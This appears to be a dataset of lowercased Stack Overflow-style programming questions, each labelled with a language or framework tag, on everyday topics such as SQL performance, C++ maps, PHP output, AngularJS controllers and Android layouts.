set validatorcontrol.setfocusonerror= true  for all validator controls in asp.net website  we are about to release beta version of our website. lately we have seen that developers have not set setfocusonerror on any of the validaor controls used.we have to set this property.    now  one solution is to open every page and put this property in place. i am looking for some othe way like some configuration in web.config or some other quick solution.    i have usercontrols and pages. page derive from base page.please suggest.,asp.net
my html text distorted on web  hey guys i know it s bit weird situation  but if anybody face and resolved this problem before  would be able to help me. for example i have written <code>&lt;p&gt;sydney s&lt;/p&gt;</code>in my html markup and it looks something like this on webpage - <code>sydneyâ€™s</code>.     platform i am using is asp.net 2.0.    thanks in advance.,html
mysql commands execution time very long on a large table  i currently use the following commands to compare long and lat values in two tables and update the sitecode column in one table based on the other like so:   <pre><code>create function great_circle_km (lon1 double  lat1 double  lon2 double  lat2 double) returns double return 6371 * acos(cos(radians(lat1)) * cos(radians(lat2)) * cos(radians(lon2) - radians(lon1)) + sin(radians(lat1)) * sin(radians(lat2)))   update `source` set `source`.`sitecode` = (     select `sitecode` from `siteinfo`     order by great_circle_km(`source`.`longitude`  `source`.`latitude`  `siteinfo`.`longitude`  `siteinfo`.`latitude`)     limit 1     ) </code></pre>   however  for a reasonably large table size of 8000 rows  the mysql takes an upwards of 2 minutes to process and complete the update command. is there any way i can optimise this,mysql
why is my std::map losing its values   i have a class polynomial which has a member object polymap.   <pre><code>std::map&lt;int int&gt; polymap;  polynomial() {} polynomial(const polynomial&amp; rhs){     polymap=rhs.polymap; } ~polynomial() {  } </code></pre>   i m reading lines from a file and populating the map using pairs of ints  one int as the key and the other as the value.    i use a function to populate multiple polynomials from a text file  and populate their maps   <pre><code>polynomial* populatefields(const char* filename) { ifstream infile(filename); int i; int z; string s;  polynomial* arr = new polynomial[numlinesinfile(filename)]; int index = 0; while (!infile.eof()) {     getline(infile  s);     stringstream t(s);     polynomial* poly = new polynomial;     arr[index] = *poly;     index = index + 1;     while (t &gt;&gt; i &gt;&gt; z) {         poly-&gt;polymap[z] = i;       }     }    return arr;  } </code></pre>   when i attempt to access the a polynomials map in the main function  its values always return zero.     why do my maps lose the values  from what i understand maps are smart pointers  is the map objects destructor being called at the end of my populatefields function,c++
div not to display if no results found -  i have an area on my page of coloured swatches (and the tile avaialble colours) that i only want to display if there is a result for them in the database.     here is my code:   <pre><code>private function getwtvariationhighlights($productid  $variationid) {     $output_str =   ;     $output_str .= &lt;div class=\ mainproductswatchestitle\ &gt;&lt;b&gt;available colours&lt;/b&gt;\n ;     $output_str .=  &lt;div class=\ mainproductswatches\ &gt;\n ;     $sql =  select voptionid  vovalue from [|prefix|]product_variation_options where vovariationid=$variationid and (voname= colour  or voname= color ) ;     $result = $this-&gt;db-&gt;query($sql);     while ($row = $this-&gt;db-&gt;fetch($result)) {         $sql =  select * from [|prefix|]variation_option_highlight where variation_option_id=  . $row[ voptionid ] .   and product_id=  . $productid;         $result2 = $this-&gt;db-&gt;query($sql);         if($row2 = $this-&gt;db-&gt;fetch($result2)){             if($row2[ thumb_location ]){                 $output_str .=  &lt;a href=\ #\  onmouseover=\ changemain(   . $row2[ location ] .   )\ &gt;&lt;img src=\                        . $globals[ shoppath ] .  /product_images/hfh_highlight_images/  . $row2[ thumb_location ] .  \  /&gt;&lt;/a&gt;\n ;             }         }     }     $output_str .=  &lt;/div&gt;\n ;     $output_str .=  &lt;script type=\ text/javascript\ &gt;\n ;     $output_str .=  function changemain(src)\n ;     $output_str .=  {\n ;         $output_str .=  document.getelementbyid( phthumb ).src =    . $globals[ shoppath ] .  /product_images/hfh_highlight_images/  + src;\n ;     $output_str .=  }\n ;     $output_str .=  &lt;/script&gt;\n ;      return $output_str; } </code></pre>,php
what is the significance of placing a variable inside a for loop rather than outside in javascript   i don t think this is a matter of global-local variables as the duplicate bot suggested because when i edited the wrong code and placed the counter variable inside the for loop  the same wrong output was given.    i was trying to write a function which counts the number of instances an input word/character occurs.    the test data were :    1- input (find( the quick brown fox    fox ))     output (“fox was found 1 times”)    2- input (find( aa  bb  cc  dd  aa    aa ))    output(“aa was found 2 times”)    i have attempted to solve it two times  first time the output was ”fox was found 6.333333 times ” and the second solution gave an output “fox was found 1 times”.    the difference between the two methods i attempted was the position of the final output counter and the syntax used.    first attempt:   <pre><code>function find(str key){  var count = 0; var answer = 0;     for (var i = 0; i&lt;str.length; i++){          if (str[i] == key[0] ){             for (var j = i; j&lt;i +str.length; j++){                 if (str[j] == key[j-i]){                      count = count + 1;                 }                    }         }     }      answer = (count)/(key.length);     return key +  was found   + answer +  times ;  } </code></pre>   second attempt:   <pre><code>function find(str key){  var count = 0; var answer = 0;     for (var i = 0; i&lt;str.length; i++){           if (str[i] == key[0] ){               for (var j = i; j&lt;i +str.length; j++){                      if (str[j] == key[j-i]){                       count = count + 1;                 }                  if (count == key.length){answer = answer + 1;}             }         }     }     return key +  was found   + answer +  times ; } </code></pre>   i am not sure why the first one did not work  and what happened inside my code that yielded an answer of 6.3333 rather than 1,javascript
how can i execute the code  after i return in objective c   here is the things i need to do...   <pre><code>-(unsigned int)dosomething {     msg_id++;      //something need to be done after returning     //process      return msg_id; }  [somebody dosomething]; </code></pre>   now the process is like this:   <ol> <li><code>somebody</code> called <code>dosomething</code></li> <li>process is executed</li> <li>msg id is returned</li> </ol>   the flow i wanna:   <ol> <li><code>somebody</code> called <code>dosomething</code></li> <li>msg id is returned</li> <li>process is executed</li> </ol>   you can ask me to do when <code>somebody</code> <code>dosomething</code> is finished  but i can t change this part. i can only change the <code>dosomething</code> method. also  some workaround suggestions is calling a delay after x seconds. but i concern the after delay x second. because i don t know return <code>msg_id</code> need how many second  actually.<br> any better suggestion,objective-c
sql stored procedure like  this is a simple question and i can t seem to think of a solution.    i have this defined in my stored procedure:   <pre><code>@communitydesc varchar(255) = null </code></pre>   @communitydesc is  aaa bbb ccc     and in my actual query i am trying to use <code>in</code>   <pre><code>where area in (@communitydesc) </code></pre>   but this will not work because my commas are inside the string instead of like this  aaa    bbb    ccc     so my question is  is there anything i can do to @communitydesc so it will work with my in statement  like reformat the string,sql
is there a way to delete the most recent entry in mysql using php   i want to delete the most recent entry in mysql using php  is there a function that allows me to do that     $query2 =  delete from test where _________ ;,mysql
iphone sdk edit tempo of the music file  i need to edit the tempo of music file which i am playing in the background.actually i have to put button for fast slow and medium tempo and get the tempo effect related to it.i am looking for some sample code or tutorial which can guide thanks in advance for any help that u can provide me.,iphone
i can t optimize this piece of code javascript  i want to optimize this  but i don t know how. i tried with a  for   but i couldn t. is there any function to shrink this   sorry if the response is easy  i m a newbie with coding.   <pre><code>if (avis1 == 1) {     avis1phrase =  très insatisfait ; } if (avis1 == 2) {     avis1phrase =  insatisfait ; } if (avis1 == 3) {     avis1phrase =  moyen ; } if (avis1 == 4) {     avis1phrase =  satisfait ; } if (avis1 == 5) {     avis1phrase =  très satisfait ; }  if (avis2 == 1) {     avis2phrase =  très insatisfait ; } if (avis2 == 2) {     avis2phrase =  insatisfait ; } if (avis2 == 3) {     avis2phrase =  moyen ; } if (avis2 == 4) {     avis2phrase =  satisfait ; } if (avis2 == 5) {     avis2phrase =  très satisfait ; }  if (avis3 == 1) {     avis3phrase =  très insatisfait ; } if (avis3 == 2) {     avis3phrase =  insatisfait ; } if (avis3 == 3) {     avis3phrase =  moyen ; } if (avis3 == 4) {     avis3phrase =  satisfait ; } if (avis3 == 5) {     avis3phrase =  très satisfait ; }  if (avis4 == 1) {     avis4phrase =  très insatisfait ; } if (avis4 == 2) {     avis4phrase =  insatisfait ; } if (avis4 == 3) {     avis4phrase =  moyen ; } if (avis4 == 4) {     avis4phrase =  satisfait ; } if (avis4 == 5) {     avis4phrase =  très satisfait ; }  if (avis5 == 1) {     avis5phrase =  très insatisfait ; } if (avis5 == 2) {     avis5phrase =  insatisfait ; } if (avis5 == 3) {     avis5phrase =  moyen ; } if (avis5 == 4) {     avis5phrase =  satisfait ; } if (avis5 == 5) {     avis5phrase =  très satisfait ; }  if (avis6 == 1) {     avis6phrase =  très insatisfait ; } if (avis6 == 2) {     avis6phrase =  insatisfait ; } if (avis6 == 3) {     avis6phrase =  moyen ; } if (avis6 == 4) {     avis6phrase =  satisfait ; } if (avis6 == 5) {     avis6phrase =  très satisfait ; }  if (avisgeneral == 1) {     avisgeneralphrase =  très insatisfait ; } if (avisgeneral == 2) {     avisgeneralphrase =  insatisfait ; } if (avisgeneral == 3) {     avisgeneralphrase =  moyen ; } if (avisgeneral == 4) {     avisgeneralphrase =  satisfait ; } if (avisgeneral == 5) {     avisgeneralphrase =  très satisfait ; } </code></pre>,javascript
is there any difference between <b> tag and <strong> tag in html <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/271743/whats-the-difference-between-b-and-strong-i-and-em >what&#39;s the difference between &lt;b&gt; and &lt;strong&gt;  &lt;i&gt; and &lt;em&gt; </a>    </blockquote>     the purpose of  bold    i.e bold to make the text bold. then what is the purpose strong tag in html  i have used strong tag to make the text bold.     so what is difference between both the tag.    what are places where i have to use  strong  tag and where i have to use bold  tag.,html
create a text file with data if there isn t  and read it afterwards to retrieve data  i need for a project to save the progress of the user playing the game. i have the code that creates the file if there isn t and gives it starting values  and the other that reads the file both when it existed before or newly created. the 2 parts work all by themselves but when together it gives an error.(redeclaration of ifstream myfile)   <pre><code>#include &lt;fstream&gt; #include &lt;string.h&gt;  int i = 0; string line;  ifstream myfile ( progress.txt ); if(!myfile) {     ofstream myfile;     myfile.open ( progress.txt ); //create new file     myfile &lt;&lt;  0\n ;     myfile &lt;&lt;  1\n ;     myfile &lt;&lt;  1\n ; }  ifstream myfile; while(getline(myfile  line)) {     wl.levels[i].lockedlevel = line[0];     i++; } myfile.close(); </code></pre>   any suggestions to make it work,c++
how do i make layouts different for each device   i have a land layout how do i get layout s different for each device so stuff looks better on the nexus 7 etc.,android
how to count the occurrence of the spaces and any ascii characters in a string   i made this code to count the occurrence of each character in a string but it don t count the spaces or any extended ascii characters ... any idea     <pre><code>#include &lt;iostream&gt; #include &lt;map&gt; #include &lt;string&gt;  int main() { std::string input =  slowly ;  std::map&lt;char  int&gt; occurrences;  for (std::string::iterator character = input.begin(); character != input.end(); character++) {     occurrences[*character] += 1; }  for (std::map&lt;char  int&gt;::iterator entry = occurrences.begin(); entry != occurrences.end(); entry++) {     std::cout &lt;&lt; entry-&gt;first &lt;&lt;  =  &lt;&lt; entry-&gt;second &lt;&lt; std::endl; } } </code></pre>   and if there s any faster algorithm to deal with a large amount of characters to get the same results i would be thankful,c++
in objective-c  can you use class extension within a category   can you use class extension within a category,objective-c
sql nested query  i have a table like below   <pre><code>id  name     dependency ----------------------- 1   xxxx     0 2   yyyy     1 3   zzzz     2  4   aaaaaa   0 5   bbbbbb   4 6   cccccc   5 </code></pre>   the list goes on. i want to select group of  rows from this table   by giving the name of 0 dependency in where clause of sql and till it reaches a condition where there is no more dependency. (for ex. rows 1 2  3 forms a group  and rows 4 5 6 is another group) .please help,sql
if we list all the natural numbers below 10 that [c++]  the code that i did was for solving the following problem. however  the logic of the code is wrong and i as a good newbie cannot figure what is wrong.  after i compile the result of  sum  is always 0  if i change the initialization of  sum  for a whatever number  that whatever number is what appear as answer of  sum .    if we list all the natural numbers below 10 that are multiples of 3 or 5  we get 3  5  6 and 9. the sum of these multiples is 23.    find the sum of all the multiples of 3 or 5 below 1000.   <pre><code>#include &lt;iostream&gt; using std::cout; using std::endl;  int main() {     long sum = 0;      for( long i; i &lt; 1000; ++i )     {         if (( i % 3 == 0 ) || ( i % 5 == 0 ))         {                sum = sum + i;         }      } cout &lt;&lt;  the sum is:   &lt;&lt; sum &lt;&lt; endl;      return 0; } </code></pre>,c++
serialize parent inside child  i need get json data from parent when child object is serialized. that mean json object per child must be include json data from parent.   <pre><code>class player(model):     name = models.charfield(max_length=30)     family = models.charfield(max_length=50)     state = models.charfield(max_length=50  verbose_name= استان )     team = models.foreignkey(team on_delete=models.cascade) class warning(model): refereereportkey = models.foreignkey(refereereport  on_delete=models.cascade related_name= warnings ) player = models.foreignkey(player on_delete=models.cascade related_name= players ) playernumber = models.integerfield() minute = models.integerfield() reason = models.textfield()  class playerserializer(serializers.modelserializer):     class meta:         model = player         fields=( name   family   state   team ) class warningserializer(serializers.modelserializer):     class meta:         model = warning         exclude=() </code></pre>,python
why do most websites have their html in just a few lines   i searched for this question-- both in google and stackoverflow-- but couldn t find what i wanted.    now  whenever i see the source code of a website  like facebook or google  their html code is spanned in just one line  why do they do it  what is the significance of doing it  do i need to do it for small websites as well  say maybe a school website,html
check for number anywhere in a string <pre><code>$vari =  testing 245 ; $numb = 0..9;  $numb_pos =  strpos($vari $numb); echo substr($vari 0 $numb_pos); </code></pre>   the $numb is numbers from 0 to 9 where am i wrong here  all i need to echo is testing,php
using  as  command  i get the following error - why   when i run this  it works.      <pre><code>   select avg(sqlprocesscpu)     from   dbo.trackcpu     where  capturetime &gt; dateadd(minute  -5  getdate()) </code></pre>   but  when i run it with an:  as  command.  it throws an error.  does anyone know why   please help.   <pre><code>select avg(sqlprocesscpu)     from   dbo.trackcpu     where  capturetime &gt; dateadd(minute  -5  getdate()) as cpu </code></pre>   error message: msg 156  level 15  state 1  line 3 incorrect syntax near the keyword  as,sql
how the c program gets the definition of the library function   like printf  i have a simple program    <pre><code>#include&lt;stdio.h&gt; void main() {     printf(  hello all \n ); } </code></pre>  <ol> <li>in the above program  how it gets the definition of the library function printf.</li> <li>as printf is a library function  so in our program how it is linked and when it is linked     and how the compiler knows which library to link.</li> <li>what line in the above program indicate to the compiler to link librarys related to printf.</li> </ol>,c
java  how can i use .nextline as an object reference  i want to use something i scanned as a reference to an object for a method in a different class. basically scanner.nextline().method(); but i get cannot find symbol no matter what do i try    i am scanning a txt file and want to make a new class word for each new word  and if the word is repeated i am supposed to increase a counter with a method from class word.   <pre><code>    class word{ int counter = 1;  public counterincrease(){ counter ++; } } </code></pre>   im supposed to scan for words  put them in an arraylist named here filearray and then check if they repeat  if they do i should increase the counter from class word  if not i make a new word   <pre><code>while(scanner.hasnextline()){ string temp = scanner.nextline();    if(filearray.contains(temp){        temp.counterincrease();    else{         filearray.add(new word(temp);        } </code></pre>,java
"anchor tag with an hashtag directs to external tab  i m beginner  and trying to do a small task of referring to an interval link like this:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;h2 id= myid &gt; hello &lt;h2&gt;
 
 
 &lt;div style= margin-top:600px &gt;
 &lt;a href= #myid &gt;go to hello header&lt;/a&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     and for some reason it throws me away to an external tab with the site s address concatenated with #myid.",html
send parameter to controller in angularjs  i building a eshop site looks like this:  <a href= https://i.stack.imgur.com/tqspv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tqspv.png  alt= enter image description here ></a>    i load all the products and when i hover over the product name i see dynamic url made by the id of the product    <a href= https://i.stack.imgur.com/m3la0.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/m3la0.png  alt= enter image description here ></a>    so far so good  the problem is that i ve hard-coded the product details page.     what i want to know is how can i send a parameter to a controller so i can load the page based on the product id:   <pre><code>app.factory( shopfactory   function ($resource) {     return {         user: $resource( http://localhost:58495/users/api/user/ id=:id   { id:  @id  })          category: $resource( http://localhost:58495/category/api/categories )          product: $resource( http://localhost:58495/products/api/products from=:from&amp;to=:to   { from:  @from   to:  @to  })          productdetail: $resource( http://localhost:58495/products/api/products id=:id   { id:  @id  })          test: $resource( https://jsonplaceholder.typicode.com/users/:id   {id: @id })     };  }); </code></pre>   my factory look like that  my product controller:   <pre><code>app.controller( productctrl   function ($scope  shopfactory) {     var test = shopfactory.productdetail.get({ id: 1 }).$promise.then(function (response) {       code here     });  }); </code></pre>   i do not how but i want to send to the controller a parameter which is the id of the product i wanna see  the controller receives that id as a argument and insert it here :   <pre><code>var test = shopfactory.productdetail.get({ id: **hardcoded part** }).$promise.then(function (response) {       code here     });  </code></pre>   then i load all the info based of the argument i received.<br> any idea how to do it  this approach is the right one  or how can i do it  <br>thanks,angularjs
trying to change the << operator for a polynomial class  this is where i am taking over the operator. i commented and put in text script and its the <code>cout &lt;&lt; coeff[i] &lt;&lt; ...</code> line that keeps crashing the program. is it the operator that is crashing or should i look elsewhere    <pre><code>std::ostream&amp; operator &lt;&lt; (std::ostream&amp; output  const poly&amp; p) {     cout &lt;&lt;  this polynomial is  ;     for (int i = 0; i &lt;= poly::maximum_degree; i ++)     {         if (coeff[i] != 0)         {             if (i != poly::maximum_degree)             {                 cout &lt;&lt; coeff[i] &lt;&lt;  x^  &lt;&lt; i &lt;&lt;   +  ;             }             else             {                 cout &lt;&lt; coeff[i] &lt;&lt;  x^  &lt;&lt; i;             }         }     } } </code></pre>,c++
how to use ftp or http to copy database file  in my app i am using the method of copying database file from assets folder. it will increase the size of the apk. i want to copy it from the internet when first time my app is run on the phone. how i will give the ftp or http in my code.,android
when modification of the assigned variable will affect the value of original variable  <pre><code>&gt;&gt;&gt; x = 10 &gt;&gt;&gt; y = x &gt;&gt;&gt; y = 100 &gt;&gt;&gt; y # changes on y will not be transferred to x 100 &gt;&gt;&gt; x 10  &gt;&gt;&gt; x2 =  hello  &gt;&gt;&gt; y2 = x2 &gt;&gt;&gt; y2 =  world   # changes on y2 will not be transferred to x2 &gt;&gt;&gt; y2  world  &gt;&gt;&gt; x2  hello       &gt;&gt;&gt; a = [1  2] &gt;&gt;&gt; b = a &gt;&gt;&gt; b.append(3) # changes on b will be transferred to a &gt;&gt;&gt; b [1  2  3] &gt;&gt;&gt; a [1  2  3]  &gt;&gt;&gt; x1 = {} &gt;&gt;&gt; y1 = x1 &gt;&gt;&gt; y1[ h ] =  hhh   # changes on y1 will be transferred to x1 &gt;&gt;&gt; y1 { h :  hhh } &gt;&gt;&gt; x1 { h :  hhh } </code></pre>   question> in which cases  the value of the assigned variables will affect the value of original variables     python version:　python 3.1.2,python
is there a simple way for me to include raw html from my model into a page with angularjs   i have raw html in my model.question.text   i was looking at the following:   <pre><code>app.directive( nghtml   function() {     return function(scope  element  attrs) {         scope.$watch(attrs.nghtml  function(value) {             element[0].innerhtml = value;         });     } }); </code></pre>   can someone tell me if there is a simple way for me to include that in my page.,angularjs
how to restrict code in managed tool from executing   i have portions of code in my tool that i do not want to be executed when anyone other than a particular domain user runs the tool. how can i make this possible.,c#
android - show an indeterminate progressbar without the dialog  i want to show my progressbar in the center of the screen when a processing happens on a button click. but i just want the progressbar without the dialog box..    is there any way i can do this,android
why is my code giving incorrect results for big numbers   i am trying to solve this task:   <blockquote>    in this exercise you will write a program that estimates the value of π. pretend that we are looking at a dartboard in the picture above. if the square is 2units wide and 2 units high  the radius of the circle within the square is 1 unit. then the area of the circle is  π*r2 = π*12 = π. the area of the square will be 2*2 = 4.        the estimation of π will work by randomly “throwing darts” at the dartboard. we will assume that every dart will hit the board but the location of that strike will be random so some darts will land inside the circle and some will land outside the circle. the calculation of π is then the ratio of the number of darts that land inside the circle to the total number of darts  multiplied by 4. note that as we increase the number of darts used in the simulation  the accuracy improves.        follow the steps to complete the program:       <ol>   <li> declare variables that represent x  y coordinates of a dart  the distance of the dart from the origin  the number of darts that land inside the circle  and the total number of darts.  </li>   <li> read in the total number of darts (n) from the user and create an instance of the random class. </li>   <li> create a loop that runs n times. inside the loop  you will use the nextfloat() method of the random class to create x  y coordinates randomly  and then compute the distance of the dart from the origin. determine whether the dart lands inside or outside of the circle. </li>   <li> compute π using the estimation algorithm. </li>   <li> run the program with increasing numbers from 100 to 100 000 000 and observe the accuracy of π. </li>   </ol> </blockquote>   here is my program i wrote. it works to some extent  but results seems incorrect for input like 100000. can anyone explain what s wrong with my code     <pre><code>import java.util.scanner; import java.util.random;  public class calculatepi {     public static void main(string[] args) {         double x;         double y;         double distance;         int i = 0;         float inside = 0;         float outside = 0;         float totaldarts;          scanner scan = new scanner(system.in);         random random = new random();          system.out.println( enter the number of darts:  );         totaldarts = scan.nextfloat();          for (i = 1; i &lt; totaldarts; i++) {             x = math.abs(random.nextfloat() % 2);             y = math.abs(random.nextfloat() % 2);              distance = (float) math.sqrt(math.pow(x - 1  2)                     + math.pow(y - 1  2));              if (distance &lt;= 1)                 inside++;             else                 outside++;         }          system.out.println( total number of arrows inside circle:  + inside);         system.out.println( estimated value of pie:                   + (((inside * 4) / (double) totaldarts)));      }  } </code></pre>,java
.net 3.5 assembly start up functionality  currently i m using system.web.preapplicationstartmethod in my .net4 assembly to load much needed code.    how can i achieve this with the .net 3.5 framework,.net
object reference not set to an instance of an object.  getting an  object reference not set to an instance of an object.  error. being a newbie  i am probably overlooking the obvious...can anyone help  (the error line following the remark) thanks for any further help on this matter.   <pre><code>public partial class frmaddnewstudent : form {     public frmaddnewstudent()     {         initializecomponent();     }      private student student = null;      public student getnewstudent()     {         this.showdialog();         return student;     }      private void frmaddnewstudent_load(object sender  eventargs e)     {     }      private void btnaddname_click(object sender  eventargs e)     {         if (studentdb.duplicate(txtname.text))         {             txtname.focus();         }         else         {             student student = new student(txtname.text    );         }     }      private void txtname_textchanged(object sender  eventargs e)     {     }      private void btnok_click(object sender  eventargs e)     {         if (!hasname())         {             noname();             txtname.focus();         }         else if (studentdb.duplicate(txtname.text))         {             txtname.focus();         }         else if (!hasscore())         {             noscore();             txtscore.focus();         }         else         {             student = new student(txtname.text  txtscores.text);             this.close();         }      }      private void btnaddscore_click(object sender  eventargs e)     {         if (!hasname())         {             noname();             txtname.focus();         }         else if (!hasscore())         {             noscore();             txtscore.focus();         }         else         {             if (isvalidscore())             {                 if (txtscores.text ==   )                 {  // the following line is where i get the error                     student.scores += txtscore.text;                     txtscores.text = student.scores;                     btnok.focus();                 }                 else                 {                     student.scores += (    + txtscore.text);                     //student.scores = string.join(     txtscore.text);                     txtscores.clear();                     txtscores.text = student.scores;                     btnok.focus();                 }             }             else             {                 badscore();             }         }     }      private void txtscores_textchanged(object sender  eventargs e)     {         student student = new student(txtname.text  txtscores.text);     }      private void btncancel_click(object sender  eventargs e)     {         this.close();     }      private void btnclearscores_click(object sender  eventargs e)     {         if (!hasname())         {             noname();             txtname.focus();         }         else if (!hasscore())         {             noscore();             txtscore.focus();         }         else         {             foreach (int grade in student.scores)             {                 student.scores.remove(grade);             }         }     }      private bool hasscore()     {         return validation.scoreispresent(txtscore);     }      private bool hasname()     {         return validation.nameispresent(txtname);     }      private bool isvalidscore()     {         return validation.isvalid(txtscore);     }      public void noname()     {         messagebox.show( must have student name. );         txtname.focus();     }      public void badscore()     {         messagebox.show( score must be between 0 - 100. );         txtscore.focus();     }      public void noscore()     {         messagebox.show( you must input as least one score. );         txtscore.focus();     }  } </code></pre>,c#
what is the best way to write a loop with no body  i have a function <code>func</code> which returns <code>true</code>  or <code>false</code>. until <code>func</code> returns <code>false</code>  i want to keep calling it. what is the least awkward way to do this    <pre><code>do {   // do nothing } while (func()); </code></pre>   or..   <pre><code>while (func()); </code></pre>   or..   <pre><code>while (func())   if (!func())     break; </code></pre>   all of them look really awkward and unintuitive to me. is there another solution to this altogether,c++
textarea .setvalue is not working with large amount of data  i m sending binary data to a textarea in a webpage viewed in a com object  i can t set the value of the text area when the data amount is large  it s not working  although when i paste the data from clipboard into the textarea everything works fine.    do you know anything about that,html
why is my mysql query slow   this query is taking over a minute about 500 000 records    name is a char    userid is a unique primary int    locked_date is an int representing unix_timestamp    the rest are either 0 or 1 tinyint    any tips on how to make this query faster    <pre><code>select  name userid  from  `sn`  force index(unlock_target2) where `locked`  = 1  and `unlocked` = 0  and (back_locked = 0 or back_unlocked = 1)  and flag = 0  and deleted = 0      order by locked_date asc limit 1 </code></pre>   explained select   <pre><code>+----+-------------+-------+------+------------------+------------------+---------+-------------+------+----------------------------------------------------+ | id | select_type | table | type | possible_keys    | key              | key_len | ref         | rows | extra                                              | +----+-------------+-------+------+------------------+------------------+---------+-------------+------+----------------------------------------------------+ |  1 | simple      | sn    | ref  | unlock_target2   | unlock_target2   | 2       | const const | 6716 | using index condition; using where; using filesort | +----+-------------+-------+------+------------------+------------------+---------+-------------+------+----------------------------------------------------+ </code></pre>   create   <pre><code>create table `sn` ( `date_added` int(11) not null  `userid` bigint(20) not null default  0   `name` char(30) not null  `status` char(15) not null  `pool` char(30) not null  `flag` tinyint(4) not null default  0   `turn` int(11) not null default  0   `deleted` tinyint(4) not null default  0   `private` tinyint(4) not null default  0   `media_count` int(11) not null default  -1   `props_received` int(11) not null default  -1   `locker_count` int(10) default  -1   `locking_count` int(10) default  -1   `commenter` int(11) default  0   `props` smallint(5) unsigned not null default  0   `locked_date` int(11) not null default  0   `locked` tinyint(4) not null default  0   `unlocked` tinyint(4) not null default  0   `back_locked` tinyint(4) not null default  0   `back_unlocked` tinyint(4) not null default  0   `media_propped` tinyint(4) not null default  0   `date_propped` int(11) not null default  0   primary key (`userid`)  unique key `userid_2` (`userid`)  key `userid` (`userid`)  key `unlock_target1` (`back_unlocked` `locked` `unlocked` `flag` `deleted` `locked_date`)  key `unlock_target2` (`locked` `unlocked` `back_unlocked` `flag` `deleted` `locked_date`)  key `index_locked` (`locked`)  key `index_unlocked` (`unlocked`)  key `index_back_locked` (`back_locked`)  key `index_flag` (`flag`)  key `index_deleted` (`deleted`)  key `index_locked_date` (`locked_date`) ) engine=innodb default charset=latin1; </code></pre>,mysql
activator.createinstance to be stored in a dictionary  i have a defined a dictionary and when try to store the activator.createinstance  its says object reference not set to an instance of an object.    <pre><code>public static dictionary&lt;string  object&gt; assemblyinstances { get; set; } var typea = assembly.loadfile(assemblypath).gettypes()[0]; var instance = activator.createinstance(typea) as isomeinterface; assemblyinstances.add( implementation   instance); </code></pre>   any ideas how can i cache the instances for later use.     thanks,.net
different ways of code writing. need suggestion  my friend writes everything using phps echo.    i mean he starts <code>&lt; </code> and echo everything  including header  main part  footer  he even has style.php file where he echos some css and then includes it in main project.    question is why is it better to do that way   or is it better at all     cause in dreamveawer everything is red. i mean it understands evrything as phps srtings and makes all text red.    if you do not use echo you have different colors in code and you can see where is ccs  javascript or html.    so what s better to write normally or i should try the same  echo everything  practice,php
is mysql s dayofweek expensive in memory... or i should not care   i am trying to speedup database select for reporting with more than 3mil data. is it good to use dayofweek     query is something like this:   <pre><code>select    count(tblorderdetail.qty) as `boxcount`     `tblboxproducts`.`productid` as `boxproducts`     `tblorder`.`orderdate`    `tblfranchise`.`franchiseid` as `franchise`  from `tblorder` inner join `tblorderdetail` on tblorderdetail.orderid=tblorder.orderid inner join `tblfranchise` on tblfranchise.franchiseeid=tblorderdetail.franchiseeid inner join `tblboxproducts` on tblorderdetail.productid=tblboxproducts.productid where (tblorderdetail.delivered = 1) and  (tblorder.orderdate &gt;=  2004-05-17 ) and  (tblorder.orderdate &lt;  2004-05-24 ) group by `tblboxproducts`.`productid` `tblfranchise`.`franchiseid`  order by `tblorder`.`orderdate` desc </code></pre>   but what i really want is to show report for everyday in a week. like on sunday  monday....    so would it be a good idea to use dayofweek in query or render the result from the view,mysql
python coding style due to lack of type  i have been coding in a static language like java and c++ for a very long time and recently i start coding python for a little bit but one thing that keeps me rather  annoyed  is its lack of type. i frequently found myself trying to figure where an object is coming from (if the code is a little old) and its type to know what exactly i am dealing with in terms of its content and functionality. is there any reference or suggestion on paradigm or coding style for python so i better code in python without being slowed down by constantly think about object s type     thanks,python
invisible backslash in javascript  it might be a stupid question  but i really need to know. why js doesn t see a single backslash     for example:   <pre><code>console.log( \ ); </code></pre>   gives me nothing  but when i add one more backslash  then it shows \ .    why is that,javascript
not able to include expanding-collection for android with ramotion  i am not able to include expanding-collection for android that have been supported by ramotion. when i am building it in my gradle file it is given error :- my gradle file is somewhat like :-    <pre><code>android { compilesdkversion 22 buildtoolsversion  24   packagingoptions {     exclude  meta-inf/dependencies.txt      exclude  meta-inf/dependencies      exclude  meta-inf/dependencies.txt      exclude  meta-inf/license.txt      exclude  meta-inf/license      exclude  meta-inf/license.txt      exclude  meta-inf/lgpl2.1      exclude  meta-inf/notice.txt      exclude  meta-inf/notice      exclude  meta-inf/notice.txt  } </code></pre>   ..... i can show the glimpses only ..   <pre><code>dependencies {  compile  com.android.support:support-v4:22.2.1  compile  com.elasticode.sdk:elasticode-android:2.1.0  compile filetree(include: [ *.jar ]  dir:  libs ) </code></pre>   error that has been coming are :-    <pre><code>error:(4) error retrieving parent for item: no resource found that matches the given name  android:textappearance.material.widget.button.inverse . error:(34) error retrieving parent for item: no resource found that matches the given name  android:widget.material.button.colored . </code></pre>,android
mysql merge two tables in mysql  i have 2 tables. i want to merge them  but to delete entries from table2 that starts with id s listed in table1.   <pre><code>id | name --------- 1  | test 2  | test2 3  | test3  id  | name ---------- 122 | tester 222 | tester2 555 | testr3 </code></pre>   i want to have:   <pre><code>id | name --------- 1  | test 2  | test2 3  | test3 555 | testr3 </code></pre>,mysql
